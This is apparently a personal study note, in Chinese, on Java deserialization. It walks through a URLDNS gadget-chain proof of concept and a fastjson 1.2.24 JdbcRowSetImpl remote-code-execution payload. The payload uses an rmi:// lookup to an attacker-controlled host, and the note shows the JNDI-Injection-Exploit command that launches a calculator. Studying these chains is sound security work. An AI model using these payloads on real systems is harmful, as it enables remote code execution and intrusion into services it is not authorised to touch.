7.fastjson反序列化

Pasted image 20250419215253 Pasted image 20250419215257

1. 原生反序列化及URLDNS链分析(JDK自带链)

核心:java.util.HashMap实现了Serializable接口满足条件后,通过HashMap里面的hash到key.hashCode(),key的转变URL类,再到hashCode为-1触发URLStreamHandler.hashCode
HashMap->readObject
HashMap->putVal(put)
HashMap->hash
key.hashCode->
URL.hashCode->
handler.hashCode->
URLStreamHandler.getHostAddress

写利用链:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception{
        URL url = new URL("http://vxx5y9.dnslog.cn");
        HashMap hashMap = new HashMap();

        //利用反射,在put前将url对象的hashcode值设置为-1
        Class cls = url.getClass();
        Field hashCode = cls.getDeclaredField("hashCode");//获取hashcode为私有属性
        hashCode.setAccessible(true);

        //将hashcode设置为除了-1的任意值
        hashCode.set(url,0);

        hashMap.put(url,123);

        //put后再利用反射将hashcode修改为-1
        hashCode.set(url,-1);

        //序列化
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashMap);

        //反序列化触发URLDNS链
        ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bis);
        ois.readObject();
    }
}

参考: https://mp.weixin.qq.com/s/R3c5538ZML2yCF9pYUky6g
搞清楚入口类,需要修改的值,需要传递的值,
创建一个HashMap泛型,(后续操作URL类即int类型值)
在创建一个url连接,(将要请求的地址写入对应代码的U)
用put方法把url数据存放到里面,触发putVal(hash(key)
其中hash里面会调用key.hashCode()
最终触发点是key,所以我们就需要给key的类型设置成URL类,
通过逻辑让hashCode的值为-1后调用handler.hashCode即URLStreamHandler.hashCode,最终调用里面的getHostAddress实现

2. FastJson反序列化及JdbcRowSetImp链分析(JDK自带链):

参考: https://mp.weixin.qq.com/s/t8sjv0Zg8_KMjuW4t-bE-w
FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。

2.1. 环境搭建

导入有漏洞的依赖

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

2.2. FastJson应用知识:

2.2.1. 序列化方法:

JSON.toJSONString() //返回字符串;
JSON.toJSONBytes() //返回byte数组;

2.2.2. 反序列化方法:

JSON.parseObject() //返回JsonObject;
JSON.parse()       //返回Object;
JSON.parseArray() //返回JSONArray;
JSON.toJavaObject() //将JSON对象转换为java对象
JSON.writeJSONString() //将JSON对象写入write流

2.3. 复现

//User.java
public class User {
    // 成员变量,存储用户的姓名
    public String name;
    // 成员变量,存储用户的年龄
    public int age;
    // 成员变量,存储用户的 ID
    public int id;

    // 无参构造方法
    public User() {
        System.out.println("无参构造");
    }

    // 有参构造方法,用于初始化用户的姓名、年龄和 ID
    public User(String name, int age, int id) {
        System.out.println("有参构造");
        this.name = name;
        this.age = age;
        this.id = id;
    }

    // 获取用户姓名的方法
    public String getName() {
        System.out.println("get name");
        return name;
    }

    // 设置用户姓名的方法
    public void setName(String name) {
        System.out.println("set name");
        this.name = name;
    }

    // 获取用户年龄的方法
    public int getAge() {
        System.out.println("get age");
        return age;
    }

    // 设置用户年龄的方法
    public void setAge(int age) {
        System.out.println("set age");
        this.age = age;
    }

    // 获取用户 ID 的方法
    public int getId() {
        System.out.println("get id");
        return id;
    }

    // 设置用户 ID 的方法
    public void setId(int id) {
        System.out.println("set id");
        this.id = id;
    }

    // 重写 toString 方法,用于方便打印用户信息
    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", id=" + id +
                '}';
    }
}

2.3.1. 序列化

public static void main(String[] args) {  
    //将对象转换为json字符串 序列化操作  
    User user =new User("c1trus",18,114514);  
    String jsonString = JSON.toJSONString(user);  
    System.out.println(jsonString);  
}

Pasted image 20250419232626

2.3.2. 反序列化

//反序列化操作1  
User user = JSON.parseObject(jsonString, User.class);  
System.out.println(user);  
System.out.println("--------------------------------");  
  
//反序列化操作2  
JSONObject jsonObject = JSON.parseObject(jsonString);  
System.out.println(jsonObject);  
System.out.println("--------------------------------");  
  
//反序列化操作3  
Object parse = JSON.parse(jsonString);  
System.out.println(parse);

Pasted image 20250419233247
可以发现使用

  • JSON.parseObject +指定转换的对象类型 :有参构造get 无参构造set
  • JSON.parseObjectJSON.parse +通用的JSONObject对象类型:啥都没有

但是当我使用了 SerializerFeature.WriteClassName 这个序列化特性后,则反序列化时都能明确的知道对象的具体类型。
Pasted image 20250419233954
发现

  • 全部都调用了无参构造与set方法
FastJson反序列化总结
加序列化特性 (SerializerFeature.WriteClassName)
  1. JSON.parse(jsonString)
    • 要求:无参构造器 + setter方法
    • 结果:返回Object类型
  2. JSON.parseObject(jsonString)
    • 要求:无参构造器 + setter方法 + getter方法
    • 结果:返回JSONObject类型
  3. JSON.parseObject(jsonString, User.class)
    • 要求:有参构造器 + getter方法 无参构造器 + setter方法
    • 结果:返回指定类型对象
不加序列化特性
  1. JSON.parseObject(jsonString, User.class)
    • 要求:有参构造器 + getter方法 无参构造器 + setter方法
    • 结果:返回指定类型对象
  2. 其他方法
    • 无法正常反序列化

重点就是关注 Set get方法,还有是parse 还是parseObjec

2.3.3. JDK自带链-JdbcRowSetImpl:

public class FastJsonRce {
    public static void main(String[] args) {
        //设置信任远程服务器加载的对象
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        //Class.forName("com.sun.rowset.JdbcRowSetImpl")
        String payload = "{" +
                "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"rmi://192.168.1.2:1099/qdw686\", " +
                "\"autoCommit\":true" +
                "}";
        //反序列化payload数据
        JSON.parse(payload);
    }
}

反序列化对象:com.sun.rowset.JdbcRowSetImpl
改动的成员变量:dataSourceName autoCommit
这里用的是 parse 那么就会调用set方法,我们就可以对上面的两个变量进行赋值。我们就跟踪这两个变量看看会被接受 get 在哪些地方

2.3.4. 跟踪利用链

JdbcRowSetImpl 是一个jdk自带的类
Pasted image 20250420000113
这里使用了 JSON.parse() 那么就会执行 set 方法,
即我们可以控制 dataSourceName autoCommit 变量的值
那我们可以跟踪一下这两个方法 setdataSourceName setautoCommit
这里先看 setautoCommit
Pasted image 20250420003745
发现会只要 conn != null 就会调用 conn = connect();,继续跟踪 connect()
Pasted image 20250420002533
这里我们传入的值是 this.getDataSourceName() 它是可以通过 setDataSourceName 控制的
我们把 DataSourceName 的值改成 rmi://192.168.1.2:1099/qdw686 那么就会执行 DataSource var2 = (DataSource)var1.lookup("rmi://192.168.1.2:1099/qdw686"); 这就是一个RMI的注入

完整的链子
autoCommit -> setAutoCommit -> this.connect() -> var1.lookup(this.getDataSourceName());

利用工具生成一个恶意的RMI服务端
生成RMI恶意调用类:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
Pasted image 20250420004407
设置好对应的服务端 rmi://192.168.8.1:1099/5sjy8t
运行后就发现弹出计算器了

弹不了可能是java版本的问题,要用老版本的java8